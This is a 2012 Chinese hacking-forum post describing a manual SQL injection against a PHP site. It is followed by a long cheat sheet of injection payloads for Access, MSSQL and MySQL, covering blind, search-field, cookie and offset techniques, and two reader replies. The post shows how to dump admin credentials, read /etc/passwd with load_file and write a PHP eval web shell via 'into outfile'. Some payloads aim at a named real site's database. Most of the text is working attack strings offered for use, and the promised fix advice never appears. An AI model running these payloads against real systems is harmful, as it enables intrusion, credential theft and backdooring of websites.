中国网络渗透测试联盟
标题:
手工注入拿下一站
[打印本页]
作者:
admin
时间:
2012-9-23 14:47
标题:
手工注入拿下一站
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
: ` d; g/ w- l0 \9 c# Z
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
7 v% H* U* x8 c
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
$ Q) m9 D6 e6 h, |0 G0 a2 C
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
! ?9 l! r7 t; Q3 ^$ [
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
2 m+ i( H! Y6 ]$ L
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
/ u' J6 w1 g R( y* m
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
2 y" H" B" p- O5 G& _
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
" D6 V3 p* {: X: w) q
. s6 [% R. H1 J
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
7 x8 ?2 n. i2 ~" ^
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
0 J% A. v: _; y1 c! M
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
3 n6 j! D0 m d O
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
! ?2 P( r) V8 d
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
; v4 t2 K; H5 @# Z. I: F
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
- J- A4 G- u! I# d
我就用的是第二个思路,
' z4 J3 E6 x, i& h; r S, L
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
0 \3 X6 i5 W7 n. H7 X( c" F' ]
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
/ B. e0 ?* m, y
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
% W; g1 U5 y. Z: y% c9 H
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
9 |; L9 C9 y1 m7 ?" q
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
3 h5 j R$ } a" z$ W
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
5 M( Y( j* l! R. b9 _3 Q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
) L' N. v2 b5 k5 \) _8 W
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
0 V1 A& q, P: O" S5 r( [1 I& O. y
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
) j S/ D0 b6 U$ V* ~% q x# Z
下面是一些很普遍注入方式资料:
/ x" p7 a" ^) @
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
0 L3 I9 x7 \' M4 @( @" q. _9 ?( A+ z
拆半法
5 A T! ]8 J+ u! N5 M
######################################
i- _* M n" `2 R7 Q( u
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
* G* ^' j4 u* a6 P/ x
and exists (select * from admin)
0 d0 d) I5 B' u+ l
and exists(select id from admin)
& [1 v; t; j. l/ }
and exists(select id from admin where id=1)
. Y K: _+ B+ b5 v
and exists(select id from admin where id>1)
% C- d2 T* t k7 D& ` d
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
4 G6 O' w F/ |. m+ H
and exists (select username from admin)
; k* I f3 P: I5 R6 w# P
and exists (select password from admin)
. k! F* u5 X7 U1 d8 A. J
and exists (select id from admin where len(username)<10 and id=1)
, ~/ s5 q& z x3 |8 x
and exists (select id from admin where len(username)>5 and id=1)
* T% z4 q8 `1 P( H
and exists (select id from admin where len(username)=6 and id=1)
I& v2 W4 M2 {1 b
and exists (select id from admin where len(password)<10 and id=1)
* }2 W6 z! y3 p& p. M
and exists (select id from admin where len(password)>5 and id=1)
/ p1 K7 |3 P1 }/ |! z3 W
and exists (select id from admin where len(password)=7 and id=1)
4 b6 w1 S" l; a v" i
and (select top 1 asc(mid(username,1,1)) from admin)=97
8 Y; p! R- P# E! S- |3 L
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
4 C. {) Y9 l1 Y+ z
猜第二位把username,1,1改成username,2,1就可以了。
% E* [! m% Z/ d. e( ~
猜密码把username改成password就OK了
) b; o; v( s, S- |
##################################################
& @- i& t+ Z) Y# F0 ~: G
搜索型注入
8 R! a7 _. a, S9 [& M$ y- c- N
##################################
% l! l+ d, I6 C& V/ g8 O/ c
%' and 1=1 and '%'='
! w* T; O4 O0 k- H
%' and exists (select * from admin) and '%'='
- M3 r8 P: a* ^$ R
%' and exists(select id from admin where id=1) and '%'='
* Y4 T, Q+ ~/ [. b1 O# t9 `
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
; C+ T7 H/ d, i
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
' r7 \- V# n% b6 r2 K3 e; Q5 v
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
& R' W: |8 G" p$ @: v2 H
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
6 U$ z2 m7 A9 `( r7 N
对于MSSQL数据库,后面可以吧 and '%'='换成--
2 _* J% p+ x* T7 E
还有一点搜索型注入也可以使用union语句。
s5 L9 S; b7 P7 }' a- m$ b& u
########################################################
$ z' K6 u. b! z) z1 Z, Y- P
联合查询。
; U0 \# B3 r9 n
#####################################
6 e5 Z, f7 C( u, ?# g
order by 10
. V2 Q' l5 z9 V. E$ K. [9 A
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
9 D; h, B1 m2 i7 U: |( R
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
* z9 Y4 k9 G& t. ?. K- V" V/ f# y
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
" K8 {8 J) v( G6 G( n- g7 L' Q
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
' Z# p) J$ e/ h+ Q/ W
###################################
% m# j1 s1 O2 l6 j# X+ W: ]+ K% J0 u
cookie注入
& e* ^" c3 P4 K
###############################
$ @: D+ y5 ]% |. T& s ]; N `& [
http://www.******.com/shownews.asp?id=127
7 a" h3 b4 u* Q) i# o0 E+ v
http://www.******.com/shownews.asp
% d' M& }0 s( Z8 Y
alert(="id="+escape("127"));
" v5 o8 H1 A6 |
alert(="id="+escape("127 and 1=1"));
7 Z0 y" u/ h( ~3 [$ t. o5 H) n
alert(="id="+escape("127 order by 10"));
# e! ?# W% L2 F! `( Q
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
8 \1 g* x8 O, X
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
! p. \& g0 @4 Z+ L" t
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
$ `7 D/ I; ?4 n
###################################
8 J1 i* F+ Z1 M5 x. q1 ?' k! P7 N1 v* p
偏移注入
# q% l& T) ]$ H' Y: F8 C
###########################################################
3 Z! `" [5 b8 }: |( e8 D6 w
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
2 ?9 ?+ H3 ~+ {, L3 e
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
# ~. X" x: ^" |- d. l# H6 B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
# W0 e6 u6 g* }2 Z( h
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
9 V1 Z0 ]9 ]1 B
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
$ y3 { H* M2 n+ Q4 _4 S
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
6 ?7 _6 I" W: u6 \7 C4 m1 ]4 u3 [
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
/ l' _/ p2 q( I
a.id=d.id)
@/ z6 M2 A6 P. n
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
# P$ [1 [6 q% _% k6 S' I ?
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
) x6 p; _: S7 M7 Q- }9 K
8 z, ` ` }7 M5 f
============================================================================================================
9 k9 z: y# h5 Z! f" _
1.判断版本
, A- f. s7 U; E" n$ e- c7 O$ Y
and ord(mid(version(),1,1))>51
' f! ]1 e( D) n) @+ U7 \. N7 N
返回正常,说明大于4.0版本,支持ounion查询
: e: a, i" X3 o5 e& O: K [0 { Q
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
/ I# j/ g4 [9 q, D: S, g
and 2=4 union select 1,2,3,4,5,6,7,8,9--
; c6 a$ j$ _, ?. e& X1 M9 Y
3.查看数据库版本及当前用户,
& n: i, M3 T& A
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
) j; Z; U/ M& g! ~& r9 y6 h% L2 b3 P/ A0 N
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
: U% k. b d" F+ @$ y$ {( K
4.判断有没有写权限
% }8 v4 J6 A2 }3 x; m1 ?* T$ \
and (select count(*) from MySQL.user)>0--
: O' O V S" K- v' h" C
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
; b8 m. m0 n, H9 p/ U
用不了这个命令,就学习土耳其黑客手法,如下
2 q' {9 X/ V2 P2 {- m
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
J, [4 R3 l, S" i' @2 c9 f7 C
6.爆表,爆库
7 L6 d( {8 ^: j6 g2 o/ A: G, F
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
4 O- X/ m! g2 h1 R$ i% \
7.爆列名,爆表
5 d9 X( R( A$ J& a" N; B8 g; N ^. [* O
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- [( _4 Q- B" }) N8 _
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
/ T2 M7 C# Q0 Y0 z! ], l6 r9 j
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
# o* ~0 Q3 e! w) s+ P/ u) P! ?
9.爆字段内容
& ]$ G& Q, E2 M) X
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
4 ]3 f! N, ~" h4 {3 W6 {4 g
http://www.cert.org.tw/document/
... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
作者:
xiancda
时间:
2012-9-24 21:40
非常好的归纳。坐下慢慢看~
作者:
wuyu
时间:
2012-9-25 18:53
谢谢分享,学习思路啊
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2